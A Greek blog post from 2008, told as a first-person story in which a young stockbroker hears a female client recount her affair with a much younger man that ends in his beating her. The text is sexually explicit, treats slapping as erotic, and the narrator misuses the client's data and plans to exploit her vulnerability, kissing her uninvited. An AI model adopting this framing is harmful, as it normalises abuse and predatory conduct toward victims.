anwnymous

Απρίλιος 23, 2008

άντρας 20+ γυναίκα 40+ (…οι ρόλοι πάνω από τα αισθήματα)

Filed under: Uncategorized — thelastrealanwnymous @ 11 :44 πμ

            Οι ρόλοι είναι το προφανές.

 Τι είναι για τη γυναίκα ο νεαρός εραστής; Ο δονητής της.

 Τι είναι για τον πιτσιρίκο η 40+ γυναίκα ; Το πορτοφόλι του.

             Ένα πρωί ήρθε στο γραφείο μια πελάτισσά μας – με καλό χαρτοφυλάκιο – αναστατωμένη. Φορούσε μαύρα γυαλιά ηλίου και έδειχνε να υποφέρει. Ζήτησε να δει μόνο το ντάντι , ενώ συνήθως την αναλάμβανα εγώ που θυμάμαι και το χαρτοφυλάκιό της απ’ έξω . Εκείνος παράτησε τις συνηθισμένες ασχολίες του και κυρίως την παρακολούθηση των αγορών έξω και τη δέχτηκε στο γραφείο του.

             Ζήτησε να της φέρουν καφέ και κάποια στιγμή που βγήκε να μιλήσει στο τηλέφωνο από άλλη γραμμή , βρήκα την ευκαιρία και τρύπωσα στο γραφείο του, παίρνοντας από τα χέρια της τον καφέ που της πήγαινε η γραμματέας μας, για να της τον πάω εγώ.

             Η πελάτισσά μας είχε βγάλει τα γυαλιά και είχε ένα μαυρισμένο μάτι . «Τι πάθατε ;» τι ρώτησα με πραγματικό ενδιαφέρον. « Με χτύπησε το τεκνό μου» απάντησε χωρίς ενδοιασμούς.

             Ο ντάντι επέστρεψε , μου έριξε ένα αυστηρό βλέμμα και φρόντισα να εξαφανιστώ γρήγορα. Έμειναν τουλάχιστον μία ώρα κλεισμένοι εκεί μέσα. Τη γουστάρω αυτή την τύπισσα , αν και ποτέ δεν μου δόθηκε η ευκαιρία νααα…  έρθουμε πιο κοντά.

              Μόλις έφυγε πήγα στο γραφείο του. Τι έγινε ;τον ρώτησα. Τι θες να γίνει ; μου είπε αποφεύγοντας. Τι ήθελε η «τραυματισμένη»; λέω. Θέλει να ρευστοποιήσει μέρος του χαρτοφυλακίου της. Θα κάνει μια αγορά μου είπε. Ποιος τη χτύπησε ; ρώτησα. Μα τι ρωτάς τώρα ; μου είπε για να ξεφύγει. Ντάντι γιατί δεν μου λες τι έγινε; Γιατί αυτά είναι προσωπικά των πελατών που τα μαθαίνουμε ευκαιριακά , δεν είναι σημαντικά για τη δουλειά μας και όσο λιγότεροι τα ξέρουν τόσο καλύτερα . Εγώ θέλω να μάθω τι έγινε όμως . Γύρνα στη δουλειά σου και άσε αυτό το θέμα. Τις επόμενες μέρες να παρακολουθείς το χαρτοφυλάκιο της για να ρευστοποιήσουμε.

Και τι θα το κάνει το χρήμα; Σου είπε; «Θα αγοράσει ένα ακίνητο» . Δεν θα μου πεις τι άλλο σου είπε; «Όχι.»

               Δεν πειράζει θα μάθω μόνος μου. Γύρισα στη θέση μου και άνοιξα αμέσως το χαρτοφυλάκιο της . Είναι πλήρες. Έχει δυνατά χαρτιά , έχει μεσαία κεφαλαιοποίηση έχει και καναδυό «σαπάκια» που μπορεί να κάνουν την έκπληξη. Παίζει τράπεζες αλλά και αποκρατικοποιήσεις , έχει ανανεώσιμη ενέργεια αλλά και πετρέλαιο.

               Σήκωσα το ακουστικό και την πήρα στο κινητό της. «Κυρία Τζέλα είμαι ο Αντώνης από τη χρηματιστηριακή.» «Τι κάνεις Τόνι μου;» «Ανησυχώ» της είπα. «Ανησυχώ για σας.» Εν τω μεταξύ μου τη σπάει το Τόνι. Το «Αντώνης» είναι βαρύγδουπο και αρρενωπό το Τόνι είναι πολύ εφηβικό . Αλλά δεν της το λέω. Τέλος πάντων . «Μην ανησυχείς καθόλου» μου λέει. «Είναι ίσως η πρώτη φορά που ξέρω τι μου γίνεται.» «Θα ήθελα να μιλήσουμε για το χαρτοφυλάκιο σας» λέω. «Θέλω να συναντηθούμε να πιούμε κάτι και να τα πούμε εκτενέστερα.» «Οκ » λέει. Δίνουμε ραντεβού.

               Την περιμένω εδώ στη γειτονιά μου , στο αγαπημένο μου καφέ. Μερικές φορές αισθάνομαι  πως δεν θέλω να φεύγω καθόλου από το Ψυχικό. Θέλω εδώ να δουλεύω , εδώ να κυκλοφορώ ,εδώ να ερωτεύομαι.

               Μπαίνει με τα μεγάλα μαύρα γυαλιά της. Δεν έφυγε ακόμα το μαύρισμα.

 Έχει ένα αγέρωχο βάδισμα. Με βλέπει. Έρχεται στο τραπέζι μου. Ωραία γυναίκα.

              «Λοιπόν;» Μου λέει. «Ανησυχώ» της λέω. «Ανησυχώ για σας.» «Δηλαδή;» ρωτάει γυρνώντας μου το αριστερό της προφίλ και ανασηκώνοντας το αντίστοιχο φρύδι. «Να …» λέω , «…φοβάμαι μήπως πέσατε θύμα εκβιασμού.» «Ααααα …. Γι αυτό ανησυχούσες;» «Ναι , γι αυτό , δεν μπορεί να ρευστοποιεί κάποιος ένα καλό χαρτοφυλάκιο αν δεν υπάρχει σοβαρός λόγος.» «Δεν έχεις άδικο» μου λέει. «Όμως η ιστορία αυτή δεν είναι όπως φαίνεται. Δεν σου κρύβω Τόνι μου ότι περίμενα κάτι , κάποιον , να με ρωτήσει για να του πω όλα αυτά που κρύβω μέσα μου τον τελευταίο καιρό. »  

           Νομίζω πως έφτασε η κατάλληλη στιγμή , δεν ρωτάω τίποτε άλλο μόνο περιμένω.

             «Στην αρχή ήταν μόνο ένα βλέμμα. Ένα έξυπνο βλέμμα που με κάρφωνε επίμονα. Σιγά τώρα , «ο σπόρος» , με κοίταξε ο «σπόρος» . Τι θέλεις μωρό μου , άντε στη μανούλα σου να σου αλλάξει πάνα . Άντε γιατί σε λίγο θα μυρίζει. Να κάτι τέτοια σκεφτόμουν όταν έπιασα το βλέμμα του πάνω μου. Σπιρτόζικο μάτι , έξυπνο και ανήσυχο. Δεν μάσησα τότε. Δεν ξέρω από πού βρήκε το κινητό μου και άρχισε το παιχνίδι. Με πήρε αρκετές φορές . Δέχτηκα να τον συναντήσω για να ξεκαθαρίσει η ενόχληση. Δεν με συνάντησε. Αρνήθηκε . Το μυστήριο κεντρίζει τη γυναικεία περιέργεια.  Ήταν ευγενικός στο τηλέφωνο ,αλλά δεν με άφηνε σε ησυχία . Έδειχνε να με γνωρίζει αλλά και να μη θυμίζει τίποτε, να με ποθεί με ένα τρόπο που σε φαντασιώνεται ένας άγνωστος. Τότε δεν ήξερα ακόμη ότι η φωνή στο τηλέφωνο «ανήκει» σε εκείνο το ανήσυχο βλέμμα.

                Έχω μια κόρη που ετοιμάζεται να παντρευτεί και δεν είμαι ευάλωτη σε τέτοιες μαλακίες. Προστατεύω τον εαυτό μου αλλά και την εικόνα μου σε κείνη. Το διαζύγιο μου ήταν ένα τραύμα που νομίζω πως το έχω ξεπεράσει αλλά ποτέ δεν ξέρεις…

               Βρεθήκαμε σε εταιρική δεξίωση. Ενημέρωση για νέα προϊόντα .   Ήταν η φάση που σκεφτόμουν να αλλάξω κινητό για να μη με ενοχλεί. Στη δεξίωση ένας νεαρός με πλησίασε με δύο ποτήρια σαμπάνια. Μου άπλωσε το χέρι και είπε: «Τώρα μπορείς να με γνωρίσεις…». Η φωνή μου φάνηκε γνωστή αλλά ακόμα δεν…καταλάβαινα. Μιλήσαμε πολύ ώρα . Σε βαθμό να φοβάμαι ότι θα με παρεξηγήσουν. Ήταν πολύ πειστικός. Από την πρώτη στιγμή όμως διαισθάνθηκα ένα πλάσμα με έντονες διακυμάνσεις στην ψυχολογία του και  στη … συστολή του. Ναι θα το πω κάπως έτσι : έδειχνε υπερβολικά ντροπαλός σε κάποιες φάσεις και μετά σχεδόν επικίνδυνα άνετος.   Όμως στην αρχή όλα αυτά μου φάνηκαν πολύ χαριτωμένα. Φύγαμε με το αυτοκίνητό μου από κει και βρεθήκαμε να φιλιόμαστε στο πάρκινκγ μεγάλου σούπερ μάρκετ.

             Φυσικά δεν έγινε τίποτε εκεί , τον πήγα στο σπίτι. Δεν είμαι για αυτοκίνητα και τουαλέτες (βιαστικό σεξ στα όρθια ) στην ηλικία μου , θέλω κρεβάτι.

             Μου έδωσε αυτό που σπάνια βρίσκουν οι γυναίκες πάνω από τα σαράντα: Άφθονο σεξ και διαθέσιμο οποιαδήποτε στιγμή. Αν με ρωτήσουν τι συνέβηκε όλο αυτό τον καιρό που γνωρίζομαι με το «σπόρο» θα πω ότι «χόρτασα» σεξ. Δεν ξέρει ότι τον λέω «σπόρο» . Αν το μάθει θα θυμώσει πολύ.

            Οι πρώτες μέρες ήταν απίθανες. Ήταν ένα δειλό παιδί που του μάθαινα τον κόσμο. Το κάναμε συχνά και καθημερινά. Μερικές φορές το κάναμε και στο γραφείο. Κάποια στιγμή ξέχασε ποιος ήταν και έδειχνε να προκαλεί τη μοίρα του. Όμως δεν φταίει μόνο αυτός. Την αρχή την έκανα εγώ εθίζοντάς τον με τα δώρα μου. Από τα μικροπράγματα που του δώριζα  , καταλήξαμε σε ένα «ταγκ» που το πήγα δύο φορές πίσω στο μαγαζί , μέχρι να αποφασίσει με τους φίλους του ποιο ήταν το μοντέλο που του πήγαινε. Α τώρα που το θυμήθηκα είναι και οι φίλοι του. Τον έπαιρναν στο κινητό συνήθως όταν είχαμε ραντεβού και το σήκωνε λέγοντας : «αφού σας είπα ρε μα….σμένα να μη με ενοχλείτε όταν είμαι με το κορίτσι μου.»

          Εγώ ήμουν το κορίτσι του. Μου πρότεινε να αλλάξω χτένισμα για να δείχνω μικρότερη , να βάλω σκουλαρίκι στη μύτη και στον αφαλό . Μου πήρε σι ντι με ραπ για το αυτοκίνητο. Έφθασα να γνωρίζω τη φωνή του Έμινεμ ακόμη κι αν τραγουδούσε το σαϊλεντ νάιτ. Όπως με κατάφερε να «πετάξω» τα χρυσά κοσμήματά μου για να φορέσω φτηνιάρικα ασημένια , χειροποίητα και ψαγμένα . Επίσης ενέδωσα να κάνω 4-5 τρύπες ακόμα στα αυτιά για σκουλαρίκια καρφιά .

          Ούτε εδώ φαινόταν ακόμα το πρόβλημα. Εγώ δεν ήθελα να τον χάσω και εκείνος δεν ήξερε τι βίωνε μαζί μου . Κανένας νέος δεν συνειδητοποιεί πόσο ωραία περνάει κάποιες στιγμές και όταν έρχονται τα χειρότερα τότε … «θυμάται».

           Μια μέρα κάτι μου είπε στο κρεβάτι , κάτι σαν βρισιά κάποιο υπονοούμενο που μου φάνηκε υποτιμητικό. Γύρισα και του ‘δωσα ένα χαστούκι στο μάγουλο . Δεν τα έχασε καθόλου και μου το ανταπέδωσε. Αρχίσαμε τα χαστούκια πάνω στο κρεβάτι και στο τέλος καταλήξαμε αγκαλιασμένοι να κάνουμε υπέροχο σεξ. Τις επόμενες μέρες έπεφτε πολύ ξύλο . Για την ακρίβεια πολλά χαστούκια. Το χαστούκι ξέρεις , ίσως το έχεις προσέξει και στις παλιές ταινίες του Χόλιγουντ , είναι τελικά πολύ σέξι. Πρόσεξέ με όμως , τα χαστούκια , αυτά τα ωραία χαστουκάκια που φέρνουν μια ανατριχίλα στο δέρμα και είναι πολύ διεγερτικά. Δεν μπορώ να πω ότι με φτιάχνει το ξύλο , οι γροθιές » …και με ένα νεύμα μου έδειξε το μάτι της.

           Κοίταξα τα χέρια της και με φαντάστηκα «να τελειώνω» μέσα στις τρυφερές παλάμες της. Την περίμενα να πιει μια γουλιά καφέ , της έδωσα καινούριο τσιγάρο από τα δικά μου και ξάπλωσα πιο τεμπέλικα στον καναπέ για να την ακούσω.                   

           « … και όπως καταλαβαίνεις το σήριαλ συνεχιζόταν. Ότι κάναμε το μάθαινε και η παρέα του και δεν έλλειπαν ποτέ τα τηλεφωνήματα και οι απαντήσεις : « μη με ενοχλείτε » , « δεν μπορώ τώρα έχω δουλειά » « δεν σας είπα πόσο ερωτευμένος είμαι ; » και μετά ξάπλωνε γύρναγε στο κρεβάτι για να κάνουμε απίθανα πράγματα. Τώρα που θυμήθηκα  ξανά την παρέα του , πρέπει να σου πω ότι θα μπορούσε να είναι κολλητός με την κόρη μου . Την γνώριζε ελάχιστα από κοινούς φίλους και τελικά  του έκανε «κλίκ» η μαμά της.» Εδώ χαμογέλασε με αυτοπεποίθηση . Δεν έδειχνε και πολύ πεσμένη ψυχολογικά παρά τα πρόσφατα τραύματα. 

            «Μια μέρα μου διηγήθηκε πως ένας φίλος του βγήκε με ένα κορίτσι που ήταν παρθένα και όταν έφθασε η κρίσιμη στιγμή του ζήτησε να το κάνουν από πίσω , γιατί δεν ένοιωθε έτοιμη ακόμα , φοβόταν και την εγκυμοσύνη  … Εκείνη τη μέρα λοιπόν το κάναμε και εμείς από πίσω. Ακολούθησε μια βαρετή εβδομάδα «από πίσω» μέχρι που δεν άντεξα και του είπα « Ούτε παρθένα είμαι , ούτε θα μείνω έγκυος» .

              Γυρίσαμε στα παλιά , βρισκόμαστε , κάναμε σεξ, του έκανα δώρα … όλα έδειχναν άψογα , μόνο που εγώ είχα το άγχος  ότι κάτι μπορεί να τον κουράσει , κάτι να τον κάνει να βαρεθεί και να τελειώσουν όλα . Τότε του πέταξα το δόλωμα του αυτοκινήτου. Λοιπόν για πες μου Τόνι , μήπως ξέρεις πόσες αντιπροσωπίες έχει η Αθήνα; Εσύ δεν ξέρεις , εγώ όμως μπορεί και να ξέρω. Πήγαμε παντού. Αρκετοί μας θεωρούσαν μητέρα και γιο. Άλλοι πιο έμπειροι , καταλάβαιναν τι τρέχει και το απολάμβαναν , προσπαθούν να εξιχνιάσουν πόσο περισσότερα είναι αποφασισμένο να πληρώσει το θύμα.

             Το θέμα του αυτοκινήτου ξεκίνησε χαριτωμένα και εξελίχθηκε σε εφιάλτη. Στην αρχή σκεφτόμουν και εγώ να αλλάξω το δικό μου και να πάρω κάτι πιο σπορ. Όμως εκείνος το παρατράβηξε. Κοιμόταν και ξυπνούσε με περιοδικά αυτοκινήτου.

Κάναμε σεξ και μετά βυθιζόταν στις ιλουστρασιόν εικόνες των περιοδικών. Δεν ξέρω αν απολάμβανε πια το σεξ μαζί μου τόσο , όσο την προσδοκία ενός τζι τι άι. Νομίζω πως τότε ήμουν ικανή να του πάρω κάτι πολύ ακριβό αλλά μια δύναμη με έκανε να το αναβάλω.

             Δεν σκέφτηκα ποτέ τα χρήματα . Το χρήμα υπάρχει για να περνάμε ωραία. Όμως το αγόρι μου , αυτό το σεξουαλικό σπορίδιο που κοιμόταν δίπλα μου δεν ένοιωθε τίποτε πια για μένα. Και για όλα φταίω εγώ. Μάλλον η ανασφάλειά μου μήπως τον χάσω. Θα μπορούσα να αφήσω τα πράγματα να εξελιχθούν , να δοκιμάσουμε τα κορμιά μας , να παίξουμε , να περάσουμε καλά και να απομακρυνθούμε όπως θα ήταν το πιθανότερο. Όμως του δημιούργησα εθισμό με το χρήμα και τα δώρα , έναν εθισμό που δεν θα τον άφηνε να ξεκολλήσει και … δεν φα- νταζόμουν τι άλλο θα μπορούσε να συμβεί.

            Όσο τον έβλεπα να κολλάει στις εικόνες αυτοκινήτων τόσο πιο σκληρή γινόμουν.  Ώσπου μια μέρα αποφάσισα να ξεκινήσω την αντίστροφη μέτρηση. Επινόησα ένα ανόητο παιχνίδι φέρνοντας του κάθε μέρα καινούριο τεύχος. Αγόραζα ακόμα και ξενόγλωσσα περιοδικά αυτοκινήτου που δεν τα γνώριζε , που δεν μπορούσε να τα διαβάσει , που καθόταν και έκανε συγκρίσεις με τα ελληνικά για να διαπιστώσει ότι για το ίδιο μοντέλο οι ξένοι γράφουν περισσότερα. Τον έβλεπα να μελετάει  κι εγώ χαμογελούσα πονηρά πίσω από την πλάτη του.

           Το σεξ μας είχε γίνει στερεότυπο. Είμαστε σαν παντρεμένοι. Εμένα όμως τώρα πια μου στοίχιζε πολύ λιγότερο. (… ένα περιοδικό την ημέρα ) . Ήδη στο μυαλό μου η προοπτική και για δικό μου αυτοκίνητο είχε εξαφανιστεί. Σκεφτόμουν πάντα ένα ακίνητο για την κόρη μου. Δεν έχω παράπονο από τη δουλειά μου , βγάζω καλά χρήματα αλλά ανησυχώ για την κόρη μου. Εγώ νομίζω ότι ήμουν τυχερή. Εκείνη όμως δύσκολα θα βρει μία δουλειά σαν τη δική μου. Είχα αρχίσει να συζητάω με τον πατέρα σου για το ακίνητο , χωρίς όμως να τον πιέζω και να βιάζομαι.»

            Εδώ μπορώ να πω ότι δεν γνώριζα τίποτε. Κάνω τώρα τη σκέψη ότι αυτή η τύπισσα πρέπει να άρεσε στο ντάντι , αλλά ξέρετε … στα πλαίσια της δουλειάς και με το αυξημένο αίσθημα ευθύνης που έχει αυτός για το γραφείο , δεν θα έκανε καμία άστοχη κίνηση που να θέσει σε κίνδυνο την αγορά ακινήτου.        

            « Ένα πρωί  με ρώτησε αν έχω χρόνο να δούμε καμία μάντρα αυτοκινήτων. Πριν απαντήσω το κινητό χτύπησε και τον ρώτησαν αν έγινε κάτι. Απάντησε ανόρεχτα : «Όχι ακόμα» . Φαντάστηκα ότι θα ήταν οι φίλοι του και όπως πάντα τον ρωτούσαν πως τα περνάει μαζί μου. Έκλεισε το τηλέφωνο και με ξαναρώτησε με μια λάμψη ελπίδας στα μάτια του αν μπορώ να πάω μαζί του να ξαναδούμε αυτοκίνητα. Τότε σιγουρεύτηκα ότι στο κινητό ήταν η κολοπαρέα που τον ρωτούσε τι έγινε με το αμάξι. Τα πήρα άσχημα και του είπα ότι έχω πολύ δουλειά αλλά αργά το βράδυ θα ήθελα να μιλήσουμε.

              Στο γραφείο σκεφτόμουν ποιο είναι το καλύτερο μαγαζί για να πεις :

« Χωρίζω».  Σκέφτηκα εκείνο το ξενέρωμα το «Κουκλάκι » στο Χαλάνδρι  που με είχε πάει πριν χρόνια ο άντρας μου για να παίξουμε με τα σεξουαλικά υπονοούμενα των φαγητών και να ρωτήσουμε ποια είναι αυτή η καινούρια στάση που δεν την ξέραμε εμείς. Νομίζω πως το κλίμα στο κουκλάκι , η βιαστική εξυπηρέτηση και η κακή ποιότητα κάτω από το πέπλο της σεξολογίας ήταν ότι πρέπει για να πω «αντίο».

Παρόλη τη φιλότιμη προσπάθεια του προσωπικού να μας «φτιάξει» (όλοι είχαν καταλάβει τι ρόλο παίζαμε ) , παρόλη την δήθεν σέξυ προτροπή ότι εκεί μέσα μπορούμε να τα κάνουμε όλα , η βραδιά δεν…

            Τον άφησα να πιει μερικές γουλιές κρασί , περίμενα να στανιάρει λίγο με το αλκοόλ από το άσχημο κλίμα των προηγούμενων ημερών και μόλις δάγκωνε τη πρώτη μπουκιά από τη βάλανο του πιάτου-πέους του έσφιξα  το χέρι και είπα σταθερά : «Θέλω να χωρίσουμε» . Πρέπει να ένιωσε σαν να του στάθηκε εκείνος ο φαλλός  στο λαιμό. Κοίταξα το πιάτο του , το δικό μου και μετά γύρισα το βλέμμα μου στον κατάλογο στους τοίχους και κοίταξα όλους τους φαλλούς του μαγαζιού για να θυμηθώ πόσες φορές τα τελευταία χρόνια μου ήταν ευχάριστη μια πίπα με τον άντρα μου.

            Κοκκίνισε και δεν μπορούσε να μιλήσει. Ήπιε λίγο κρασί αλλά δεν μπόρεσε να πνίξει το θυμό του. Χτύπησε το κινητό και ήταν οι φίλοι του για να τον ρωτήσουν πως εξελίσσεται η βραδιά . Τους έβρισε άσχημα και το ’κλεισε. Οι άντρες της ηλικίας του σκέφτηκα εξαρτώνται από την «αγέλη». Χτίζουν τη ζωή τους  αποσκοπώντας να κερδίσουν την ισχυρότερη θέση στην παρέα. Είναι στην κυριολεξία μια αγέλη «πλανόδιων αγοριών» , χωρίς ιδιαίτερο πλάνο για τη ζωή τους , χωρίς σκοπό. Αραδιάζουν κατά καιρούς τα τρόπαιά τους : γυναίκες ,αυτοκίνητα , δίκυκλα , εξτρίμ στιγμές με κίνδυνο , με σεξ , με φτηνή μαγκιά και προσπαθούν να πείσουν τους άλλους για την ηγετική τους θέση.

             Περίμενα λοιπόν ότι θα σηκωθεί και θα φύγει θυμωμένος για να επιστρέψει αύριο , όπως γινόταν μετά από κάθε καυγαδάκι και να τα ξαναβρούμε. Όμως δεν κουνήθηκε από τη θέση του και αυτό με έβαλε σε σκέψεις. Συνέχισε να μασουλάει το υπόλοιπο « πέος » με λίγο τρέμουλο στα χέρια , ήπιε κι άλλο κρασί και κάποτε παράτησε το πιρούνι και είπε σοβαρός:

 «Νόμιζα πως δεν είχαμε  προβλήματα. Τι έχεις ; Σου αρέσει κάποιος άλλος ; » «Ήταν λάθος από την αρχή αυτή η σχέση και το ξέρεις. Δεν έχουμε προοπτική. Έχω μια κόρη στην ηλικία σου. Θα μπορούσα να είμαι μητέρα σου»

«Αυτά τα έχουμε ξαναπεί» μου είπε. «Δεν μπορείς να μου πεις τι φταίει;»

 «Μάλλον έρχεται κάποια στιγμή που όλα αυτά μαζεύονται και γίνονται ισχυρότερα από τη σχέση μας» του είπα. (σκέφτηκα για λίγο αυτό που θα ακολουθούσε , δηλαδή τις μέρες με ανύπαρκτο σεξ , ή μια σχέση με ένα μεγαλύτερο μου , που θα είχε μία στύση την εβδομάδα κι αυτή με το ζόρι , αλλά και τώρα είχαμε προσγειωθεί , το πράγμα είχε χαλάσει , ούτε το σεξ δεν είχε τη δροσιά των πρώτων ημερών , δεν υπήρχε κάτι που να με τραβάει κοντά του …) «Δηλαδή για να πω την αλήθεια όλα αυτά , αυτές οι διαφορές μας εννοώ,  βρισκόταν πάντα εκεί και περίμεναν την κατάλληλη στιγμή , για να μου θυμίσουν ότι εμείς δεν μπορούμε να ζήσουμε μαζί για πολύ καιρό ακόμη, οπότε ας το διαλύσουμε τώρα πριν τα πράγματα γίνουν χειρότερα. Συγνώμη δηλαδή και συ δεν το νιώθεις ότι κάτι χαλάει τη σούπα ; δεν νιώθεις ότι τον τελευταίο καιρό είμαστε «κάπως» ; ιδέα μου είναι ;

           «Εγώ δεν έχω αλλάξει …» είπε « …αν όμως εσύ έχεις άλλα σχέδια , αν υπάρχει κάποιος άλλος και δεν το έχω καταλάβει , σου υπόσχομαι να τον βρω … έχω πολύ πιστούς φίλους , θα τον μαυρίσουμε θα τον κάνω κομματάκια …» είχε αγριέψει αρκετά . Τα τελευταία λόγια μπορεί να τα άκουσαν και τα διπλανά τραπέζια . (…ακόμη ένα πουρό που τη ζηλεύει το τεκνό της …)

            « Δεν υπάρχει κανείς …» τον καθησύχασα « …απλώς έχω την ωριμότητα να κρίνω αυτή την σχέση … έχουμε φτάσει σε αδιέξοδο και … δεν υπάρχει λογική για όλα αυτά , μιλάει η επαφή μας , τα φιλιά μας δεν είναι όπως πριν , η ανάσα μας συγκρατημένη , δεν απολαμβάνουμε αυτό που μας συμβαίνει πλέον…»

            Μουλάρωσε. « Αν υπάρχει άλλος θα το μάθω , οι φίλοι μου δεν αστειεύονται , θα τον στείλουμε ή στον οδοντίατρο ή σε ορθοπεδικό …»

             Σηκωθήκαμε πριν πιαστούμε στα χέρια εκεί μέσα . Χαιρόμουν που πήρε τον π…ο μέσα σε ένα μαγαζί που μοιράζουν για πλάκα φαλλούς.

            Τον άφησα με το αυτοκίνητο , μάλλον κάπου κοντά στα στέκια που συχνάζει με τους φίλους του.»

             Ούτε εδώ έπεσε η γροθιά σκέφτηκα. Έχω αγωνία να μάθω το τέλος αυτής της ιστορίας αλλά δεν θέλω να πιέσω τη Τζέλα …απολαμβάνω την αφήγηση. Σκέφτομαι κάποιες στιγμές να την αγκαλιάσω γλυκά στην πλάτη, ή να πιάσω το χέρι της  και να το χαϊδέψω με νόημα , αλλά … αυτό το κολόπαιδο την έχει αγριέψει , ποιος ξέρει πότε θα αποφασίσει ξανά να πλησιάσει άντρα… αν και εδώ υπάρχει ένας θετικός παράγοντας που μόνο εγώ έχω καταλάβει : Η κυρία Τζέλα είναι εθισμένη στο καθημερινό σεξ , αυτό το παιδάκι , ο «σπόρος» όπως τον λέει η ίδια ήταν ο δονητής της. Δεν υπάρχει πρόβλημα να δοκιμάσω τις ικανότητές μου νομίζω , αν και θα ήταν καλύτερα να μη βιαστώ για να την πετύχω πάνω στο σύνδρομο στέρησης.

             Τώρα περιμένω να συνεχίσει.

             «Το περίμενα ότι θα τον ξαναδώ , ότι δεν θα καταθέσει τα όπλα τόσο εύκολα και κάπου στο πίσω μέρος του μυαλού μου σχεδίαζα τα επόμενα χτυπήματα. Ξέρεις τώρα που το ξανασκέφτομαι τα βρίσκω αστεία όλα αυτά τα σχέδια. Σκεφτόμουν αυτό το καίριο χτύπημα , να λες σε έναν άντρα ότι τον έχει μικρό. Ή μια άλλη καλή δικαιολογία είναι η πρόωρη εκσπερμάτωση … ξέρεις τα περάσαμε κι αυτά στις αρχές και μετά σκεφτόμουν εκείνο το αόριστο , ότι να , πώς να το πω,  κάτι λείπει , δεν με γεμίζει η σχέση μας , νοιώθω ένα κενό, όλα αυτά σκεφτόμουν τότε , όταν μου χτύπησε το κουδούνι ένα βράδυ μεθυσμένος…

            Δεν τον φοβόμουν , περισσότερο τον λυπόμουν γιατί εγώ ήξερα ότι του είχα δημιουργήσει έναν τεχνητό παράδεισο με σεξ , χρήματα , δώρα ,άνεση και τώρα τον έκλεινα απ’ έξω .

            Τον ρώτησα τι έχει. Είπε ότι είχε μια έντονη επιθυμία να με δει. Του είπα να του φτιάξω  καφέ. Ενώ ήμουν πάνω από την καφετιέρα με πλησίασε από πίσω και προσπάθησε να με φιλήσει στο λαιμό. Δεν τον έσπρωξα αλλά μετακινήθηκα για να καταλάβει ότι τα πράγματα δεν ήταν όπως πριν. Ακούμπησε το μάγουλό του στην πλάτη μου χωρίς να προσπαθεί να με φιλήσει. Μου φάνηκε κάπως μπεμπέ αυτή η φάση , σαν να αποζητούσε περισσότερο μητρική στοργή και λιγότερο γυναικεία επαφή  κι αυτό με χάλασε γιατί δεν μπορούσα να πιάσω το μήνυμα , δεν ήθελα να το μεταφράσω έτσι , μου φαινόταν αρρωστημένο. Έμεινε εκεί μέχρι να κλείσω την καφετιέρα. Τον ρώτησα να μου πει πως περνάει , τι κάνει αυτό τον καιρό αλλά δεν μιλούσε. Καθίσαμε στο σαλόνι , ήπιε μία γουλιά και δεν μιλούσε. Τι έχεις ; τον ρώτησα. Σήκωσε κουρασμένα το βλέμμα και μου είπε , αφού δεν βγαίνεις με άλλον γιατί θες να χωρίσουμε ;  Δεν είναι θέμα καινούριου συντρόφου είπα , απλώς όλα κάποτε τελειώνουν. Το είπα για να τον χειριστώ όσο πιο ανώδυνα γίνεται. Αμέσως μετά συνειδητοποίησα ότι τις τελευταίες μέρες με παρακολουθούσε .

              Τα πήρα πολύ άσχημα . Πως ξέρεις ότι δεν έχω εραστή; Πως ξέρεις ότι δεν υπάρχει άλλος στη ζωή μου; Απαιτώ να μου πεις τώρα. Με κοίταξε με το ειρωνικό βλέμμα των μεθυσμένων και μου ζήτησε να μη φωνάζω δυνατά γιατί του τη σπάω. Ήταν χαμένος στον κόσμο του και στη μέθη του. Τον έπιασα από το ρούχο του και τον ταρακούνησα. Θα προτιμούσα να βρω έναν άντρα εδώ απόψε μου είπε και να χτυπηθούμε για πάρτη σου … αλλά δεν υπάρχει κανείς ,είσαι μια που…α που με βαρέθηκες. Με γέμιζες δώρα για να νοικιάζεις  το κορμί μου , αυτό είσαι… δηλαδή εγώ που δεν με ένοιαζε τίποτε  άρχισα να σκέφτομαι το επόμενο δώρο σου , το αυτοκίνητο , κόλλησε το μυαλό μου στο αυτοκίνητο. Αυτό είσαι … δεν σε νοιάζει τι αισθάνομαι , για σένα η διασκέδαση τελείωσε , μπορεί και να μη ξαναπάς με άντρα … γαμώτο πολύ θα θελα να βρω ένα τύπο εδώ απόψε και να τον μαυρίσω .

               Έκανε μια κίνηση και άρπαξε το τραπέζι με το ένα χέρι και το σήκωσε. Το άφησε να πέσει απότομα με θόρυβο και ψιθύρισε : «Θα τον πετούσα από το παράθυρο.»

              Δεν είμαστε καλά θα μου διαλύσει το σπίτι.

              Είχα θυμώσει στην σκέψη ότι με παρακολουθεί χωρίς να το ξέρω. Όμως σκεφτόμουν να τον ξεφορτωθώ όσο γίνεται νωρίτερα από κει μέσα .

              «Λοιπόν , οκ , δεν υπάρχει κάποιος να σε αντικαταστήσει , δική μου επιλογή είναι να μη θέλω να συνεχίσω». Έσκυψε το κεφάλι , έδειχνε νικημένος , έδειχνε παιδί που το πλήγωσαν και θα ήθελε εκδίκηση . Δεν πρόσεξα τίποτε από όλα αυτά τότε και ικανοποιήθηκα που κινήθηκε προς την πόρτα. Γύρισε με κοίταξε και ξαναείπε σαν να είχε κολλημένο μικροτσίπ από «εμ πι θρι» στο κεφάλι του : αν έβρισκα κάποιον εδώ τώρα θα …» και πριν καταλάβω τι έγινε μου έδωσε δύο γροθιές στο στομάχι σαν να πάλευε με  άντρα. Διπλώθηκα και με το γόνατο με ξαναχτύπησε στο πρόσωπο. Αυτό που βλέπεις σήμερα είναι αρκετές μέρες μετά … έχω χάσει δύο δόντια μπροστά , ο οδοντογιατρός μου , εργάστηκε πολύ σκληρά για να μου βάλει πολύ σύντομα κεραμικά δόντια και  μετά … είδα και έναν πλαστικό . Τώρα περιμένω να φύγει το μαύρισμα .

              Λιποθύμησα και με βρήκε η κόρη μου. Του έχω κάνει μήνυση. Δεν θα την αποσύρω για να τον τρομάξω να μη με πλησιάσει ξανά. Ξέρω πως φταίω . Είναι όμως πολύ πιεστικό για μια γυναίκα να ζει μόνη. Ξέρεις … δεν μπορείς να βρεις ησυχία . Μια φωνή  μέσα σου σε χλευάζει για την αδυναμία σου , σε προκαλεί να βρεις σύντροφο χωρίς να την νοιάζει για τις συνέπειες.»

             «Κυρία Τζέλα μπορείτε να με παίρνετε στο τηλέφωνο όποτε θέλετε .» είπα… μετά έβαλα το χέρι μου στο λαιμό της ,την τράβηξα μαλακά , σήκωσα τα γυαλιά της και τη φίλησα στο μαυρισμένο της μάτι.

